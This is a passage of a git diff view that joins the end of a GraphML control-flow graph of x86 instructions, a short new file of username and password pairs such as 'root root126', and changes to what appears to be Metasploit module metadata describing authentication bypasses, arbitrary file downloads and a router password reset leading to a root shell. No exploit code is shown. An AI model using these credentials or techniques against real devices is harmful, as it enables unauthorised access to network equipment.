<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1074" target="block.0x1065:instruction.0x1077"/>
<edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x1077" target="block.0x1065:instruction.0x1079"/>
<edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107d"/>
<edge source="block.0x1065:instruction.0x1079" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x107d" target="block.0x1065:instruction.0x107e"/>
<edge source="block.0x1065:instruction.0x107e" target="block.0x1065:instruction.0x107f"/>
<edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1080"/>
<edge source="block.0x1065:instruction.0x107f" target="block.0x1065:instruction.0x1083"/>
<edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1081"/>
<edge source="block.0x1065:instruction.0x1080" target="block.0x1065:instruction.0x1082"/>
<edge source="block.0x1065:instruction.0x1081" target="block.0x1065:instruction.0x1082"/>
<edge source="block.0x1065:instruction.0x1082" target="block.0x1065:instruction.0x1083"/>
</graph>
</node>
<node id="block.0x1085">
<data key="address">0x1085</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1085</data>
<data key="type">block</data>
<node id="block.0x1085:instruction.0x1085">
<data key="address">0x1085</data>
<data key="type">instruction</data>
<data key="instruction.hex">58</data>
<data key="instruction.source">pop eax</data>
</node>
</graph>
</node>
<node id="block.0x1086">
<data key="address">0x1086</data>
<data key="type">block</data>
<graph edgedefault="directed">
<data key="address">0x1086</data>
<data key="type">block</data>
<node id="block.0x1086:instruction.0x1086">
<data key="address">0x1086</data>
<data key="type">instruction</data>
<data key="instruction.hex">5f</data>
<data key="instruction.source">pop edi</data>
</node>
<node id="block.0x1086:instruction.0x1087">
<data key="address">0x1087</data>
<data key="type">instruction</data>
<data key="instruction.hex">5a</data>
<data key="instruction.source">pop edx</data>
</node>
<node id="block.0x1086:instruction.0x1088">
<data key="address">0x1088</data>
<data key="type">instruction</data>
<data key="instruction.hex">8b12</data>
<data key="instruction.source">mov edx, dword ptr [edx]</data>
</node>
<node id="block.0x1086:instruction.0x108a">
<data key="address">0x108a</data>
<data key="type">instruction</data>
<data key="instruction.hex">eb83</data>
<data key="instruction.source">jmp 0x100f</data>
</node>
<edge source="block.0x1086:instruction.0x1086" target="block.0x1086:instruction.0x1087"/>
<edge source="block.0x1086:instruction.0x1087" target="block.0x1086:instruction.0x1088"/>
<edge source="block.0x1086:instruction.0x1088" target="block.0x1086:instruction.0x108a"/>
</graph>
</node>
<edge source="block.0x1000" target="block.0x100f"/>
<edge source="block.0x100f" target="block.0x1018"/>
<edge source="block.0x1018" target="block.0x101f"/>
<edge source="block.0x1018" target="block.0x1021"/>
<edge source="block.0x101f" target="block.0x1021"/>
<edge source="block.0x1021" target="block.0x1018"/>
<edge source="block.0x1021" target="block.0x1029"/>
<edge source="block.0x1029" target="block.0x103a"/>
<edge source="block.0x1029" target="block.0x1086"/>
<edge source="block.0x103a" target="block.0x1045"/>
<edge source="block.0x1045" target="block.0x1049"/>
<edge source="block.0x1045" target="block.0x1085"/>
<edge source="block.0x1049" target="block.0x1051"/>
<edge source="block.0x1051" target="block.0x1051"/>
<edge source="block.0x1051" target="block.0x105d"/>
<edge source="block.0x105d" target="block.0x1045"/>
<edge source="block.0x105d" target="block.0x1065"/>
<edge source="block.0x1085" target="block.0x1086"/>
<edge source="block.0x1086" target="block.0x100f"/>
</graph>
</graphml>
@@ -0,0 +1,4 @@
suma123 panger123
debug debug124
root root126
guest
+3984 -748
View File
@@ -345,43 +345,6 @@
},
"needs_cleanup": false
},
"auxiliary_admin/brocade/brocade_config": {
"name": "Brocade Configuration Importer",
"fullname": "auxiliary/admin/brocade/brocade_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Brocade device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-07-16 20:52:00 +0000",
"path": "/modules/auxiliary/admin/brocade/brocade_config.rb",
"is_install_path": true,
"ref_name": "admin/brocade/brocade_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/chromecast/chromecast_reset": {
"name": "Chromecast Factory Reset DoS",
"fullname": "auxiliary/admin/chromecast/chromecast_reset",
@@ -474,228 +437,6 @@
},
"needs_cleanup": false
},
"auxiliary_admin/cisco/cisco_asa_extrabacon": {
"name": "Cisco ASA Authentication Bypass (EXTRABACON)",
"fullname": "auxiliary/admin/cisco/cisco_asa_extrabacon",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Sean Dillon <sean.dillon@risksense.com>",
"Zachary Harding <zachary.harding@risksense.com>",
"Nate Caroe <nate.caroe@risksense.com>",
"Dylan Davis <dylan.davis@risksense.com>",
"William Webb <william_webb@rapid7.com>",
"Jeff Jarmoc <jjarmoc>",
"Equation Group",
"Shadow Brokers"
],
"description": "This module patches the authentication functions of a Cisco ASA\n to allow uncredentialed logins. Uses improved shellcode for payload.",
"references": [
"CVE-2016-6366",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp",
"URL-https://github.com/RiskSense-Ops/CVE-2016-6366"
],
"platform": "",
"arch": "",
"rport": 161,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"path": "/modules/auxiliary/admin/cisco/cisco_asa_extrabacon.rb",
"is_install_path": true,
"ref_name": "admin/cisco/cisco_asa_extrabacon",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/cisco/cisco_config": {
"name": "Cisco Configuration Importer",
"fullname": "auxiliary/admin/cisco/cisco_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Cisco IOS or NXOS device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-07-07 21:49:48 +0000",
"path": "/modules/auxiliary/admin/cisco/cisco_config.rb",
"is_install_path": true,
"ref_name": "admin/cisco/cisco_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/cisco/cisco_dcnm_download": {
"name": "Cisco Data Center Network Manager Unauthenticated File Download",
"fullname": "auxiliary/admin/cisco/cisco_dcnm_download",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-06-26",
"type": "auxiliary",
"author": [
"Pedro Ribeiro <pedrib@gmail.com>"
],
"description": "DCNM exposes a servlet to download files on /fm/downloadServlet.\n An authenticated user can abuse this servlet to download arbitrary files as root by specifying\n the full path of the file.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).",
"references": [
"CVE-2019-1619",
"CVE-2019-1621",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld",
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb",
"URL-https://seclists.org/fulldisclosure/2019/Jul/7"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2019-08-29 12:15:20 +0000",
"path": "/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb",
"is_install_path": true,
"ref_name": "admin/cisco/cisco_dcnm_download",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/cisco/cisco_secure_acs_bypass": {
"name": "Cisco Secure ACS Unauthorized Password Change",
"fullname": "auxiliary/admin/cisco/cisco_secure_acs_bypass",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jason Kratzer <pyoor@flinkd.org>"
],
"description": "This module exploits an authentication bypass issue which allows arbitrary\n password change requests to be issued for any user in the local store.\n Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well\n as version 5.2 with either no patches or patches 1 and 2 are vulnerable.",
"references": [
"BID-47093",
"CVE-2011-0951",
"URL-http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb",
"is_install_path": true,
"ref_name": "admin/cisco/cisco_secure_acs_bypass",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/cisco/vpn_3000_ftp_bypass": {
"name": "Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access",
"fullname": "auxiliary/admin/cisco/vpn_3000_ftp_bypass",
"aliases": [
],
"rank": 300,
"disclosure_date": "2006-08-23",
"type": "auxiliary",
"author": [
"aushack <patrick@osisecurity.com.au>"
],
"description": "This module tests for a logic vulnerability in the Cisco VPN Concentrator\n 3000 series. It is possible to execute some FTP statements without authentication\n (CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs\n when working with CWD commands. This module simply creates an arbitrary directory,\n verifies that the directory has been created, then deletes it and verifies deletion\n to confirm the bug.",
"references": [
"BID-19680",
"CVE-2006-4313",
"OSVDB-28139",
"OSVDB-28138"
],
"platform": "",
"arch": "",
"rport": 21,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2017-11-09 03:00:24 +0000",
"path": "/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb",
"is_install_path": true,
"ref_name": "admin/cisco/vpn_3000_ftp_bypass",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/db2/db2rcmd": {
"name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability",
"fullname": "auxiliary/admin/db2/db2rcmd",
@@ -726,7 +467,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/auxiliary/admin/db2/db2rcmd.rb",
"is_install_path": true,
"ref_name": "admin/db2/db2rcmd",
@@ -767,7 +508,7 @@
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"mod_time": "2020-08-07 16:15:17 +0000",
"path": "/modules/auxiliary/admin/dns/dyn_dns_update.rb",
"is_install_path": true,
"ref_name": "admin/dns/dyn_dns_update",
@@ -1324,6 +1065,44 @@
},
"needs_cleanup": false
},
"auxiliary_admin/http/cisco_7937g_ssh_privesc": {
"name": "Cisco 7937G SSH Privilege Escalation",
"fullname": "auxiliary/admin/http/cisco_7937g_ssh_privesc",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-02",
"type": "auxiliary",
"author": [
"Cody Martin"
],
"description": "This module exploits a feature that should not be available \n\tvia the web interface. An unauthenticated user may change \n\tthe credentials for SSH access to any username and password \n\tcombination desired, giving access to administrative \n\tfunctions through an SSH connection.",
"references": [
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
"CVE-2020-16137"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-21 14:55:45 +0000",
"path": "/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py",
"is_install_path": true,
"ref_name": "admin/http/cisco_7937g_ssh_privesc",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/http/cnpilot_r_cmd_exec": {
"name": "Cambium cnPilot r200/r201 Command Execution as 'root'",
"fullname": "auxiliary/admin/http/cnpilot_r_cmd_exec",
@@ -1812,12 +1591,13 @@
"author": [
"Pedro Ribeiro <pedrib@gmail.com>"
],
"description": "IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by\n an unauthenticated attacker to download arbitrary files off the system.\n The first is an unauthenticated bypass, followed by a path traversal.\n This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.\n A downloaded file is zipped, and this module also unzips it before storing it in the database.\n By default this module downloads Tomcat's application.properties files, which contains the\n database password, amongst other sensitive data.\n At the time of disclosure, this is a 0 day. Versions 2.0.3 and 2.0.2 are confirmed to be\n affected, and the latest 2.0.6 is most likely affected too. Version 2.0.1 is not vulnerable.",
"description": "IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by\n an unauthenticated attacker to download arbitrary files off the system.\n The first is an unauthenticated bypass, followed by a path traversal.\n This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.\n A downloaded file is zipped, and this module also unzips it before storing it in the database.\n By default this module downloads Tomcat's application.properties files, which contains the\n database password, amongst other sensitive data.\n At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory.\n Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.",
"references": [
"CVE-2020-4427",
"CVE-2020-4429",
"URL-https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md",
"URL-https://seclists.org/fulldisclosure/2020/Apr/33"
"URL-https://seclists.org/fulldisclosure/2020/Apr/33",
"URL-https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/"
],
"platform": "",
"arch": "",
@@ -1838,7 +1618,7 @@
"https"
],
"targets": null,
"mod_time": "2020-05-07 08:03:28 +0000",
"mod_time": "2020-06-26 11:38:29 +0000",
"path": "/modules/auxiliary/admin/http/ibm_drm_download.rb",
"is_install_path": true,
"ref_name": "admin/http/ibm_drm_download",
@@ -2880,6 +2660,65 @@
},
"needs_cleanup": false
},
"auxiliary_admin/http/netgear_r6700_pass_reset": {
"name": "Netgear R6700v3 Unauthenticated LAN Admin Password Reset",
"fullname": "auxiliary/admin/http/netgear_r6700_pass_reset",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-15",
"type": "auxiliary",
"author": [
"Pedro Ribeiro <pedrib@gmail.com>",
"Radek Domanski <radek.domanski@gmail.com>",
"gwillcox-r7"
],
"description": "This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd),\n on Netgear R6700v3 routers running firmware versions from V1.0.2.62 up to but not including V1.0.4.94, to reset\n the password for the 'admin' user back to its factory default of 'password'. Authentication is bypassed by\n using ZDI-20-703 (aka CVE-2020-10923), an authentication bypass that occurs when network adjacent\n computers send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 router. Currently this module only\n supports exploiting Netgear R6700v3 routers running either the V1.0.0.4.82_10.0.57 or V1.0.0.4.84_10.0.58\n firmware, however support for other firmware versions may be added in the future.\n\n Once the password has been reset, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a\n special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can\n then log into this telnet server using the new password, and obtain a shell as the \"root\" user.\n\n These last two steps have to be done manually, as the authors did not reverse the communication with the web interface.\n It should be noted that successful exploitation will result in the upnpd binary crashing on the target router.\n As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit\n this vulnerability once per reboot of the router.\n\n This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +\n Radek Domanski).",
"references": [
"URL-https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md",
"URL-https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders",
"CVE-2020-10923",
"CVE-2020-10924",
"ZDI-20-703",
"ZDI-20-704"
],
"platform": "",
"arch": "",
"rport": 5000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-06-30 16:46:16 +0000",
"path": "/modules/auxiliary/admin/http/netgear_r6700_pass_reset.rb",
"is_install_path": true,
"ref_name": "admin/http/netgear_r6700_pass_reset",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"config-changes"
],
"Stability": [
"crash-service-down"
]
},
"needs_cleanup": false
},
"auxiliary_admin/http/netgear_soap_password_extractor": {
"name": "Netgear Unauthenticated SOAP Password Extractor",
"fullname": "auxiliary/admin/http/netgear_soap_password_extractor",
@@ -3654,7 +3493,7 @@
"https"
],
"targets": null,
"mod_time": "2019-09-23 15:29:38 +0000",
"mod_time": "2020-08-21 15:30:55 +0000",
"path": "/modules/auxiliary/admin/http/telpho10_credential_dump.rb",
"is_install_path": true,
"ref_name": "admin/http/telpho10_credential_dump",
@@ -4588,43 +4427,6 @@
},
"needs_cleanup": false
},
"auxiliary_admin/juniper/juniper_config": {
"name": "Juniper Configuration Importer",
"fullname": "auxiliary/admin/juniper/juniper_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Juniper ScreenOS or JunOS device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"path": "/modules/auxiliary/admin/juniper/juniper_config.rb",
"is_install_path": true,
"ref_name": "admin/juniper/juniper_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/kerberos/ms14_068_kerberos_checksum": {
"name": "MS14-068 Microsoft Kerberos Checksum Validation Vulnerability",
"fullname": "auxiliary/admin/kerberos/ms14_068_kerberos_checksum",
@@ -4680,11 +4482,12 @@
"disclosure_date": "2020-04-09",
"type": "auxiliary",
"author": [
"Hynek Petrak",
"JJ Lehmann",
"Ofri Ziv",
"wvu <wvu@metasploit.com>"
],
"description": "This module bypasses LDAP authentication in VMware vCenter Server's\n vmdir service to add an arbitrary administrator user. Version 6.7\n prior to the 6.7U3f update is vulnerable.",
"description": "This module bypasses LDAP authentication in VMware vCenter Server's\n vmdir service to add an arbitrary administrator user. Version 6.7\n prior to the 6.7U3f update is vulnerable, only if upgraded from a\n previous release line, such as 6.0 or 6.5.",
"references": [
"CVE-2020-3952",
"URL-https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/",
@@ -4692,7 +4495,7 @@
],
"platform": "",
"arch": "",
"rport": 389,
"rport": 636,
"autofilter_ports": [
],
@@ -4700,7 +4503,7 @@
],
"targets": null,
"mod_time": "2020-05-21 21:01:52 +0000",
"mod_time": "2020-07-22 15:40:10 +0000",
"path": "/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb",
"is_install_path": true,
"ref_name": "admin/ldap/vmware_vcenter_vmdir_auth_bypass",
@@ -5750,6 +5553,453 @@
},
"needs_cleanup": false
},
"auxiliary_admin/networking/arista_config": {
"name": "Arista Configuration Importer",
"fullname": "auxiliary/admin/networking/arista_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports an Arista device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-20 10:52:39 +0000",
"path": "/modules/auxiliary/admin/networking/arista_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/arista_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/brocade_config": {
"name": "Brocade Configuration Importer",
"fullname": "auxiliary/admin/networking/brocade_config",
"aliases": [
"auxiliary/admin/brocade/brocade_config"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Brocade device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-09-14 18:38:58 +0000",
"path": "/modules/auxiliary/admin/networking/brocade_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/brocade_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/cisco_asa_extrabacon": {
"name": "Cisco ASA Authentication Bypass (EXTRABACON)",
"fullname": "auxiliary/admin/networking/cisco_asa_extrabacon",
"aliases": [
"auxiliary/admin/cisco/cisco_asa_extrabacon"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Sean Dillon <sean.dillon@risksense.com>",
"Zachary Harding <zachary.harding@risksense.com>",
"Nate Caroe <nate.caroe@risksense.com>",
"Dylan Davis <dylan.davis@risksense.com>",
"William Webb <william_webb@rapid7.com>",
"Jeff Jarmoc <jjarmoc>",
"Equation Group",
"Shadow Brokers"
],
"description": "This module patches the authentication functions of a Cisco ASA\n to allow uncredentialed logins. Uses improved shellcode for payload.",
"references": [
"CVE-2016-6366",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp",
"URL-https://github.com/RiskSense-Ops/CVE-2016-6366"
],
"platform": "",
"arch": "",
"rport": 161,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-07-16 09:48:40 +0000",
"path": "/modules/auxiliary/admin/networking/cisco_asa_extrabacon.rb",
"is_install_path": true,
"ref_name": "admin/networking/cisco_asa_extrabacon",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"EXTRABACON"
]
},
"needs_cleanup": false
},
"auxiliary_admin/networking/cisco_config": {
"name": "Cisco Configuration Importer",
"fullname": "auxiliary/admin/networking/cisco_config",
"aliases": [
"auxiliary/admin/cisco/cisco_config"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Cisco IOS or NXOS device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-09-14 18:38:58 +0000",
"path": "/modules/auxiliary/admin/networking/cisco_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/cisco_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/cisco_dcnm_download": {
"name": "Cisco Data Center Network Manager Unauthenticated File Download",
"fullname": "auxiliary/admin/networking/cisco_dcnm_download",
"aliases": [
"auxiliary/admin/cisco/cisco_dcnm_download"
],
"rank": 300,
"disclosure_date": "2019-06-26",
"type": "auxiliary",
"author": [
"Pedro Ribeiro <pedrib@gmail.com>"
],
"description": "DCNM exposes a servlet to download files on /fm/downloadServlet.\n An authenticated user can abuse this servlet to download arbitrary files as root by specifying\n the full path of the file.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).",
"references": [
"CVE-2019-1619",
"CVE-2019-1621",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass",
"URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld",
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb",
"URL-https://seclists.org/fulldisclosure/2019/Jul/7"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-06-22 06:11:11 +0000",
"path": "/modules/auxiliary/admin/networking/cisco_dcnm_download.rb",
"is_install_path": true,
"ref_name": "admin/networking/cisco_dcnm_download",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/cisco_secure_acs_bypass": {
"name": "Cisco Secure ACS Unauthorized Password Change",
"fullname": "auxiliary/admin/networking/cisco_secure_acs_bypass",
"aliases": [
"auxiliary/admin/cisco/cisco_secure_acs_bypass"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jason Kratzer <pyoor@flinkd.org>"
],
"description": "This module exploits an authentication bypass issue which allows arbitrary\n password change requests to be issued for any user in the local store.\n Instances of Secure ACS running version 5.1 with patches 3, 4, or 5 as well\n as version 5.2 with either no patches or patches 1 and 2 are vulnerable.",
"references": [
"BID-47093",
"CVE-2011-0951",
"URL-http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-07-16 05:43:52 +0000",
"path": "/modules/auxiliary/admin/networking/cisco_secure_acs_bypass.rb",
"is_install_path": true,
"ref_name": "admin/networking/cisco_secure_acs_bypass",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/cisco_vpn_3000_ftp_bypass": {
"name": "Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access",
"fullname": "auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass",
"aliases": [
"auxiliary/admin/cisco/vpn_3000_ftp_bypass"
],
"rank": 300,
"disclosure_date": "2006-08-23",
"type": "auxiliary",
"author": [
"aushack <patrick@osisecurity.com.au>"
],
"description": "This module tests for a logic vulnerability in the Cisco VPN Concentrator\n 3000 series. It is possible to execute some FTP statements without authentication\n (CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs\n when working with CWD commands. This module simply creates an arbitrary directory,\n verifies that the directory has been created, then deletes it and verifies deletion\n to confirm the bug.",
"references": [
"BID-19680",
"CVE-2006-4313",
"OSVDB-28139",
"OSVDB-28138"
],
"platform": "",
"arch": "",
"rport": 21,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-07-16 05:43:52 +0000",
"path": "/modules/auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass.rb",
"is_install_path": true,
"ref_name": "admin/networking/cisco_vpn_3000_ftp_bypass",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/f5_config": {
"name": "F5 Configuration Importer",
"fullname": "auxiliary/admin/networking/f5_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports an F5 device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-25 16:17:37 +0000",
"path": "/modules/auxiliary/admin/networking/f5_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/f5_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/juniper_config": {
"name": "Juniper Configuration Importer",
"fullname": "auxiliary/admin/networking/juniper_config",
"aliases": [
"auxiliary/admin/juniper/juniper_config"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Juniper ScreenOS or JunOS device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-09-14 18:38:58 +0000",
"path": "/modules/auxiliary/admin/networking/juniper_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/juniper_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/mikrotik_config": {
"name": "Mikrotik Configuration Importer",
"fullname": "auxiliary/admin/networking/mikrotik_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Mikrotik device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-19 07:46:55 +0000",
"path": "/modules/auxiliary/admin/networking/mikrotik_config.rb",
"is_install_path": true,
"ref_name": "admin/networking/mikrotik_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/networking/ubiquiti_config": {
"name": "Ubiquiti Configuration Importer",
"fullname": "auxiliary/admin/networking/ubiquiti_config",
"aliases": [
"auxiliary/admin/ubiquiti/ubiquiti_config"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports an Ubiquiti device configuration.\n The db file within the .unf backup is the data file for\n Unifi. This module can take either the db file or .unf.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-19 07:46:55 +0000",
